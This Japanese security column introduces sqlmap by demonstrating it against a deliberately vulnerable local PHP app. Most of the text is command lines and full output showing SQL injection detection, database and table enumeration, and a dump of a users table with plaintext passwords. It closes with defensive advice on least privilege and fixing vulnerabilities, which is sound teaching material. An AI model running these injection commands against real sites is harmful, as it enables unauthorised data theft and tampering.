なぜPHPアプリにセキュリティホールが多いのか?

第31回 番外編:sqlmapの紹介

この記事を読むのに必要な時間:およそ 13 分

データベースの一覧

$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" --dbs

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    
[*] starting at: 17:02:47

[17:02:47] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file
[17:02:47] [INFO] testing connection to the target url
[17:02:47] [INFO] testing if the url is stable, wait a few seconds
[17:02:49] [INFO] url is stable
[17:02:49] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[17:02:49] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[17:02:49] [INFO] testing if GET parameter 'username' is dynamic
[17:02:49] [INFO] confirming that GET parameter 'username' is dynamic
[17:02:49] [INFO] GET parameter 'username' is dynamic
[17:02:49] [INFO] testing sql injection on GET parameter 'username' with 0 parenthesis
[17:02:49] [INFO] testing unescaped numeric injection on GET parameter 'username'
[17:02:49] [INFO] GET parameter 'username' is not unescaped numeric injectable
[17:02:49] [INFO] testing single quoted string injection on GET parameter 'username'
[17:02:49] [INFO] confirming single quoted string injection on GET parameter 'username'
[17:02:49] [INFO] GET parameter 'username' is single quoted string injectable with 0 parenthesis
[17:02:49] [INFO] testing if GET parameter 'password' is dynamic
[17:02:49] [INFO] confirming that GET parameter 'password' is dynamic
[17:02:49] [INFO] GET parameter 'password' is dynamic
[17:02:49] [INFO] testing sql injection on GET parameter 'password' with 0 parenthesis
[17:02:49] [INFO] testing unescaped numeric injection on GET parameter 'password'
[17:02:49] [INFO] GET parameter 'password' is not unescaped numeric injectable
[17:02:49] [INFO] testing single quoted string injection on GET parameter 'password'
[17:02:49] [INFO] confirming single quoted string injection on GET parameter 'password'
[17:02:49] [INFO] GET parameter 'password' is single quoted string injectable with 0 parenthesis
there were multiple injection points, please select the one to use to go ahead:
[0] place: GET, parameter: username, type: stringsingle (default)
[1] place: GET, parameter: password, type: stringsingle
[q] Quit
> 0
[17:02:51] [INFO] testing for parenthesis on injectable parameter
[17:02:51] [INFO] the injectable parameter requires 0 parenthesis
[17:02:51] [INFO] testing MySQL
[17:02:51] [WARNING] the back-end DMBS is not MySQL
[17:02:51] [INFO] testing Oracle
[17:02:51] [WARNING] the back-end DMBS is not Oracle
[17:02:51] [INFO] testing PostgreSQL
[17:02:51] [INFO] confirming PostgreSQL
[17:02:51] [INFO] the back-end DBMS is PostgreSQL

web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: PostgreSQL

[17:02:51] [INFO] fetching database names
[17:02:51] [INFO] fetching number of databases
[17:02:51] [INFO] retrieved: 10
[17:02:52] [INFO] retrieved: drupal
[17:02:53] [INFO] retrieved: drupal7-alpha
[17:02:55] [INFO] retrieved: guestbook
[17:02:57] [INFO] retrieved: mediawiki
[17:02:59] [INFO] retrieved: phpbb
[17:03:00] [INFO] retrieved: phpwiki
[17:03:01] [INFO] retrieved: postgres
[17:03:02] [INFO] retrieved: template0
[17:03:03] [INFO] retrieved: template1
[17:03:05] [INFO] retrieved: vulndb
available databases [10]:
[*] drupal
[*] drupal7-alpha
[*] guestbook
[*] mediawiki
[*] phpbb
[*] phpwiki
[*] postgres
[*] template0
[*] template1
[*] vulndb

[17:03:06] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost'

[*] shutting down at: 17:03:06

$ 

テーブルの一覧

$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" --tables

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    
[*] starting at: 17:25:42

[17:25:42] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file
[17:25:42] [INFO] resuming match ratio '0.957' from session file
[17:25:42] [INFO] resuming injection point 'GET' from session file
[17:25:42] [INFO] resuming injection parameter 'username' from session file
[17:25:42] [INFO] resuming injection type 'stringsingle' from session file
[17:25:42] [INFO] resuming 0 number of parenthesis from session file
[17:25:42] [INFO] resuming back-end DBMS 'postgresql' from session file
[17:25:42] [INFO] testing connection to the target url
[17:25:43] [INFO] testing for parenthesis on injectable parameter
[17:25:43] [INFO] the back-end DBMS is PostgreSQL

web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: PostgreSQL

[17:25:43] [WARNING] on PostgreSQL it is only possible to enumerate on the current schema and on system databases, sqlmap is going to use 'public' schema as database name
[17:25:43] [INFO] fetching tables for database 'public'
[17:25:43] [INFO] fetching number of tables for database 'public'
[17:25:43] [INFO] retrieved: 2
[17:25:43] [INFO] retrieved: sadernzytn_cannot_guess_234234234234
[17:25:50] [INFO] retrieved: users
Database: public
[2 tables]
+--------------------------------------+
| sadernzytn_cannot_guess_234234234234 |
| users                                |
+--------------------------------------+

[17:25:51] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost'

[*] shutting down at: 17:25:51

$ 

テーブルデータのダンプ

$ python sqlmap.py -u "http://localhost:8080/vulnapp/index.php?username=admin&password=admin" -T users --dump

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
    
[*] starting at: 17:34:06

[17:34:06] [INFO] using '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session' as session file
[17:34:06] [INFO] resuming match ratio '0.957' from session file
[17:34:06] [INFO] resuming injection point 'GET' from session file
[17:34:06] [INFO] resuming injection parameter 'username' from session file
[17:34:06] [INFO] resuming injection type 'stringsingle' from session file
[17:34:06] [INFO] resuming 0 number of parenthesis from session file
[17:34:06] [INFO] resuming back-end DBMS 'postgresql' from session file
[17:34:06] [INFO] testing connection to the target url
[17:34:06] [INFO] testing for parenthesis on injectable parameter
[17:34:06] [INFO] the back-end DBMS is PostgreSQL

web application technology: Apache 2.2.11, PHP 5.2.9
back-end DBMS: PostgreSQL

[17:34:06] [WARNING] on PostgreSQL it is only possible to enumerate on the current schema and on system databases, sqlmap is going to use 'public' schema as database name
[17:34:06] [INFO] fetching columns for table 'users' on database 'public'
[17:34:06] [INFO] fetching number of columns for table 'users' on database 'public'
[17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': 3
[17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': username
[17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': password
[17:34:06] [INFO] read from file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/session': id
[17:34:06] [INFO] fetching entries for table 'users' on database 'public'
[17:34:06] [INFO] fetching number of entries for table 'users' on database 'public'
[17:34:06] [INFO] retrieved: 4
[17:34:06] [INFO] retrieved: 1
[17:34:06] [INFO] retrieved: 1234
[17:34:07] [INFO] retrieved: foo
[17:34:07] [INFO] retrieved: 2
[17:34:08] [INFO] retrieved: bar
[17:34:08] [INFO] retrieved: bar
[17:34:09] [INFO] retrieved: 3
[17:34:09] [INFO] retrieved: fuga
[17:34:10] [INFO] retrieved: hoge
[17:34:10] [INFO] retrieved: 4
[17:34:10] [INFO] retrieved: admin
[17:34:11] [INFO] retrieved: admin
Database: public
Table: users
[4 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | 1234     | foo      |
| 2  | bar      | bar      |
| 3  | fuga     | hoge     |
| 4  | admin    | admin    |
+----+----------+----------+

[17:34:12] [INFO] Table 'public.users' dumped to CSV file '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost/dump/public/users.csv'
[17:34:12] [INFO] Fetched data logged to text files under '/Users/yohgaki/tmp/tmp/sqlmap-dev/output/localhost'

[*] shutting down at: 17:34:12

$ 

まとめ

何故SQLインジェクション脆弱性が狙われるのか,sqlmapのようなツールを使ってみれば簡単に理解できると思います。脆弱なサイトではあればデータの改ざんが自由自在に行えます。

アプリケーションによってはテーブルにプレフィックスを付け,同じデータベースを複数のアプリケーションで共有する機能をもっています。この機能を使うとほかのアプリケーションの脆弱性の影響でデータの改ざんや漏洩が発生する可能性があることを理解できます。

データベース(PostgreSQLの場合Schema)やユーザ権限を正しく管理する重要性や必要最小限の権限のデータベースユーザを利用する重要性も理解できたと思います。MySQLの場合,phpMyAdminでグローバル権限としてすべてのテーブルに権限を与えてしまっているケースを散見します。必ず必要最小限の権限を与えるように注意してください。

SQLデータベースのエラーが発生した場合でも通常のエラーと同じ画面(出力)になる場合はsqlmapが思ったように脆弱性を自動検出してくれない場合もあります。少しでも出力に違いがある場合は,sqlmapを多少カスタマイズすれば自動解析が行えるようになります。

WAFもブラインドSQLインジェクション攻撃に対してはかなり効果的に機能するのですが,様々な回避手法も考案されているので安心できません。sqlmapはセッション管理機能も持っており,既に解析済みの情報を取得するためにクエリを繰り返しません。ファイアーウォールなどでリクエスト数を制限することはあまり意味ありません。

脆弱性対策の基本は脆弱性の修正です。基本と原理を正しく理解していれば,SQLインジェクションに対して堅牢なサイトを構築することは難しくありません。うっかりミスがないよう注意してください。

著者プロフィール

大垣靖男(おおがきやすお)

University of Denver卒。同校にてコンピュータサイエンスとビジネスを学ぶ。株式会社シーエーシーを経て,エレクトロニック・サービス・イニシアチブ有限会社を設立。
オープンソース製品は比較的古くから利用し,Linuxは0.9xのころから利用している。オープンソースシステム開発への参加はエレクトロニック・サービス・イニシアチブ設立後から。PHPプロジェクトでは,PostgreSQLモジュールのメンテナンスを担当している。

URLhttp://blog.ohgaki.net/

著書